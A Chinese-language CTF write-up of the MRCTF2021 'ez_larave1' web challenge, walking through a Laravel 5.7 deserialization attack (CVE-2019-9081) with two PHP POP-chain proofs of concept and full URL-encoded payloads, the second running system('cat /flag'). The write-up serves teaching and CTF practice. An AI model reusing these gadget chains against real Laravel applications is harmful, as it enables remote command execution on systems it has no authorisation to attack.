[MRCTF2021]Web复现ez_larave1

ez_larave1

考察的是Laravel的CVE-2019-9081,影响版本为5.7.x
get到一个新工具:BeyondCompare,用来比较文件差异的,可以比较方便的看出他做了哪些开发

把5.7.x的源码下载下来,比较一下,发现序列化!
有个小绕过,在serialize后随便加一点东西就可以了,比如serializeabc
[MRCTF2021]Web复现ez_larave1_第1张图片
与网上的poc不同,他的路由命名为hello了,在hello路由下可以执行反序列化
[MRCTF2021]Web复现ez_larave1_第2张图片

在网上找到的cve复现,看到漏洞是在PendingCommand.php出现的,跑去看看
果然有信息
[MRCTF2021]Web复现ez_larave1_第3张图片
要读取到这个key,才能进行下一步的操作,得用原生类

下面来构造第一个poc

我们的目的是找出这个.axxx.txt的完整的文件名
在Filesystem这个类里面使用了FilesystemIterator迭代器遍历目录,会把参数里的目录全遍历出来
这样的话我们反序列化的时候去触发这个__toString()方法把参数传进去来遍历当前的目录,就可以遍历到.axxxx.txt了
[MRCTF2021]Web复现ez_larave1_第4张图片
当触发了__toString方法后就会返回文件名,那我们就得找一个能把他回显出来的东西

在vendor/symfony/http-foundation里面有个Response.php,这里面有一个方法sendContent
这个方法就会打印出content
[MRCTF2021]Web复现ez_larave1_第5张图片
[MRCTF2021]Web复现ez_larave1_第6张图片
析构方法
[MRCTF2021]Web复现ez_larave1_第7张图片
所以我们可以这样构造一个析构方法,因为前面说了触发了__toSring后会返回文件名
所以我们让:content的值=这个返回的文件名,再去**触发这个sentContent()**就可以把文件名给回显出来了

在原来的cve中,命令的执行会发生在PendingCommand.php的__destruct()里面
但是这题他把&this->run()删除了,那我们就得另寻他路来执行到PendingCommand.php中的run()这个函数了
[MRCTF2021]Web复现ez_larave1_第8张图片

看wp知道,预期解里面__destrusct()入口在FnStream.php里面,有个call_user_func()
这里原来是不能反序列化的,出题人注释掉了限制__wakeup()所以这里是可以执行命令的

但是这里是有个问题的,这个call_user_func()只能传入一个参数,那么我们就要考虑利用pop链让他执行某个类内部的方法
至于怎么调用类内部的方法:给这个函数传入一个数组,第一个值是你想调用的类的实例,第二个值是那个类对应的某个方法名
[MRCTF2021]Web复现ez_larave1_第9张图片

由于他只会执行$_fn_close,那我们就可以直接定义好$_fn_close进行变量的覆盖,让我们
[MRCTF2021]Web复现ez_larave1_第10张图片

所以我们大概需要的东西就已经齐全了,屡一下思路

  • 实例化Filesystem,想办法去触发__toString()方法利用里面的FilesystemIterator原生类
  • 实例化Response类,把实例化Filesystem的对象作为字符串传给Response赋值给content
  • 利用FnStream来执行Response里面的sendContent方法,回显出文件名

poc1


use Psr\Http\Message\StreamInterface;
namespace GuzzleHttp\Psr7{
     
    class FnStream {
     
        private $methods;
        private static $slots = ['__toString', 'close', 'detach', 'rewind',
            'getSize', 'tell', 'eof', 'isSeekable', 'seek', 'isWritable', 'write',
            'isReadable', 'read', 'getContents', 'getMetadata'];
        public $_fn_close;

        public function __construct($obj){
     
            $this->_fn_close = $obj;
        }

        public function __destruct()
        {
     
            if (isset($this->_fn_close)) {
     
                call_user_func($this->_fn_close);
            }
        }



    }
}



namespace Symfony\Component\HttpFoundation{
     
    class Response{
     

        public $content;
        public function __construct($obj)
        {
     
            $this->content = $obj;
        }

        public function sendContent(){
     
            echo $this->content;
            return $this;
        }
    }
}


namespace Illuminate\Filesystem{
     
    use ErrorException;
    use FilesystemIterator;
    use Symfony\Component\Finder\Finder;
    use Illuminate\Support\Traits\Macroable;
    use Illuminate\Contracts\Filesystem\FileNotFoundException;
    class Filesystem{
     
    }
}

namespace{
     
    $text = new \Illuminate\Filesystem\Filesystem();
    $obj1 = new \Symfony\Component\HttpFoundation\Response($text);
    $arr = array($obj1,"sendContent"); //调用__toString()方法
    $obj = new \GuzzleHttp\Psr7\FnStream($arr);
    echo (serialize($obj));
}

payload:

/hello?action=serializeabc&ser=O%3A24%3A%22GuzzleHttp%5CPsr7%5CFnStream%22%3A2%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CPsr7%5CFnStream%00methods%22%3BN%3Bs%3A9%3A%22_fn_close%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A41%3A%22Symfony%5CComponent%5CHttpFoundation%5CResponse%22%3A1%3A%7Bs%3A7%3A%22content%22%3BO%3A32%3A%22Illuminate%5CFilesystem%5CFilesystem%22%3A0%3A%7B%7D%7Di%3A1%3Bs%3A11%3A%22sendContent%22%3B%7D%7D

读取到key
在这里插入图片描述

下一步就是命令执行拿flag了

这里就是CVE-2019-9081里面用的链了
但是由于pendingcommand类里面的__destruct()被删除,所以还是要借助FnStream.php的__destruct()来执行pendingcommand类里面的run方法
这里就不多说了
poc2


use Psr\Http\Message\StreamInterface;
namespace GuzzleHttp\Psr7{
     
    class FnStream {
     
        private $methods;
        private static $slots = ['__toString', 'close', 'detach', 'rewind',
            'getSize', 'tell', 'eof', 'isSeekable', 'seek', 'isWritable', 'write',
            'isReadable', 'read', 'getContents', 'getMetadata'];
        public $_fn_close;

        public function __construct($obj){
     
            $this->_fn_close = $obj;
        }

        public function __destruct()
        {
     
            if (isset($this->_fn_close)) {
     
                call_user_func($this->_fn_close);
            }
        }



    }
}

namespace Illuminate\Foundation\Testing{
     

    use PHPUnit\Framework\TestCase as PHPUnitTestCase;

    class PendingCommand{
     
        protected $app;
        protected $command;
        protected $parameters;
        public $test;
        public function __construct($test, $app, $command, $parameters)
        {
     
            $this->app = $app;
            $this->test = $test;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace Illuminate\Auth{
     
    class GenericUser{
     
        protected $attributes;
        public function __construct(array $attributes)
        {
     
            $this->attributes = $attributes;
        }
        public function __get($key)
        {
     
            return $this->attributes[$key];
        }
    }
}


namespace Illuminate\Foundation{
     
    class Application{
     
        protected $instances = [];
        public function __construct($instances = [])
        {
     
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace{
     

    $genericuser = new Illuminate\Auth\GenericUser(
        array(
            //这里需要两次使用来循环获得以便成功跳过方法,两次键名分别为expectedOutput和expectedQuestions
            "expectedOutput"=>array("crispr"=>"0"),
            "expectedQuestions"=>array("crispr"=>"1")
        )
    );
    $app = new Illuminate\Foundation\Application();
    //通过如下步骤最终获得的$this->app[Kernel::class]就是该Application实例
    $application = new Illuminate\Foundation\Application($app);
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
        $genericuser,
        $application,
        "system",
        array("cat /flag")
    );
    $obj = new \GuzzleHttp\Psr7\FnStream(array($pendingcommand,"run"));
    echo urlencode(serialize($obj));
}

payload:

/hello?action=serializeabc&ser=O%3A24%3A%22GuzzleHttp%5CPsr7%5CFnStream%22%3A2%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CPsr7%5CFnStream%00methods%22%3BN%3Bs%3A9%3A%22_fn_close%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A0%3A%7B%7D%7D%7D%7D%7Ds%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bs%3A6%3A%22crispr%22%3Bs%3A1%3A%220%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bs%3A6%3A%22crispr%22%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7D%7D&key=W3lc0Me_2_MRCTF_2O2l

拿到flag
[MRCTF2021]Web复现ez_larave1_第11张图片

你可能感兴趣的:(比赛wp,python,php,java,laravel,web)